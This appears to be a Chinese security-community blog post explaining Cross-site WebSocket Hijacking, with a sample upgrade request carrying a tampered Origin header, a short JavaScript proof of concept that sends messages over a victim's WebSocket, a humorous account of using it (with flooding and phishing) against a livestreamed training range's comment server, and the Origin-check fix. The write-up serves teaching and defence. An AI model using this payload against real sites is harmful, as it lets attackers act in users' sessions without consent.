前言
作者:Vulkey_Chen
责任编辑:白袍
听说团长他们把社区的铸剑靶场做了直播!
在线日靶机!还TM有弹幕!还有妹子!关键还不带上我。。。
吸引了一堆大佬互相商业互吹!
关键又不带上我。。。
直播开始了 蔡徐坤都上了,还没有喊我。。
仔细研究了团长朋友圈炫的图,我大胆推测弹幕系统肯定使用的是WebSocket协议,于是我对WebSocket协议进行了深度了解后制定了一个大胆的计划。
所以今晚夜黑风高,嘿嘿嘿。。。下面是漏洞的技术剖析
WebSocket 跨域劫持漏洞
WebSocket 跨域劫持漏洞,英文名:Cross-site WebSocket Hijacking,漏洞类型:全能型CSRF(可读、可写)。
了解WebSocket
Websocket 优点
-
支持双向通信,实时性更强。
-
更好的二进制支持。
-
较少的控制开销。连接创建后,ws客户端、服务端进行数据交换时,协议控制的数据包头部较小。在不包含头部的情况下,服务端到客户端的包头只有2~10字节(取决于数据包长度),客户端到服务端的话,需要加上额外4字节的掩码。而HTTP协议每次通信都需要携带完整的头部。
-
支持扩展。ws协议定义了扩展,用户可以扩展协议,或者实现自定义的子协议。(比如支持自定义压缩算法等)
Websocket 如何建立连接
画了一张图让你了解:
漏洞产生
建立Websocket连接无验证。
案例
1.如下请求:
GET / HTTP/1.1
Host: localhost:8080
Origin: http://127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: w4v7O6xFTi36lq3RNcgctw==
篡改Origin,发现没有对Origin进行验证,也可以跨域进行协议升级。
2.进一步验证
2.1获取到了一个发送评论的请求
2.2使用JavaScript创建Websocket请求
<meta charset="utf-8">
<script>
function ws_attack(){
var ws = new WebSocket("ws://域名:端口/");//如果请求的Websocket服务仅支持HTTP就写成ws://,如果请求的Websocket服务支持HTTPs就写成wss://
ws.onopen = function(evt) {
ws.send("我是帅key的可爱小迷弟!");
};
ws.onmessage = function(evt) {
ws.close();
};
}
ws_attack();
</script>
2.3验证发现可以请求并成功进行重放,存在Websocket跨域劫持
(这里只是简单的评论请求,危害就是:点我链接让你评论我想评论的,试想:如果是修改密码的WebSocket请求存在劫持那么问题就大了~)
漏洞利用
攻击流程跟以往的交互类漏洞没什么区别(点我链接读取你XXX、点我链接让你XXX):
PoC代码编写
<meta charset="utf-8">
<script>
function ws_attack(){//自定义函数ws_attack
//定义函数功能
//创建WebSocket并赋值给ws变量
var ws = new WebSocket("ws://域名:端口/");//如果请求的Websocket服务仅支持HTTP就写成ws://,如果请求的Websocket服务支持HTTPs就写成wss://
ws.onopen = function(evt) {
//当ws(WebSocket)处于连接状态时执行
ws.send("我是帅key的可爱小迷弟!");
};
ws.onmessage = function(evt) {
//当ws(WebSocket)请求有响应信息时执行
//注意:响应的信息可以通过evt.data获取!例如:alert(evt.data);
ws.close();
};
}
ws_attack();//执行ws_attact函数
</script>
作战计划
一开始是,这样婶儿的,大家都在听团长讲APT的信息搜集还有技能加点啥的。。。
竟然还有粉丝提问环节,团长的声音还这么磁性!
不行了!该我登场了!祭出大杀器,绕过了团长第一波防护!作死+1s
团长在线修复了XSS的bug,很嚣张。假象罢了!
呵呵,洪水来吧! 欧利根~
没想到团长又很快在线修复了频次的问题!可惜不彻底,啧啧。
加一个钓鱼直接引发大家发( 这才是漏洞的核心触发点)~
没想到团长关闭了弹幕服务器,够狠。
最后在团长的手镯警告下给出了修复方法
校验Origin头,并加入各种过滤判断。
亮点自寻,呵呵哒。
听说转发点赞的会随机抽送靶场直播邀请名额???
听说点 在看 的人都变成了大佬??
稀罕俺的还有机会直接入选大佬计划???
参考来源
https://www.cnblogs.com/chyingp/p/websocket-deep-in.html
https://www.secquan.org/Discuss/1069086
关于圈子社区:
圈子社区是一个非盈利,封闭的白帽子技术交流社区。目前成员已有近2000人,拥有业内首个自主研发的实战化靶场,体系化学习和燃爆的交流气氛带你成为真正的大佬,社区专注实战,崇尚技术,如果你也是实战派,请关注我们。
社区地址:(请使用https访问)
https://www.secquan.org
本文始发于微信公众号(Secquan圈子社区):靶场直播疯狂作死之--WebSocket 跨域劫持漏洞实战与修复
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论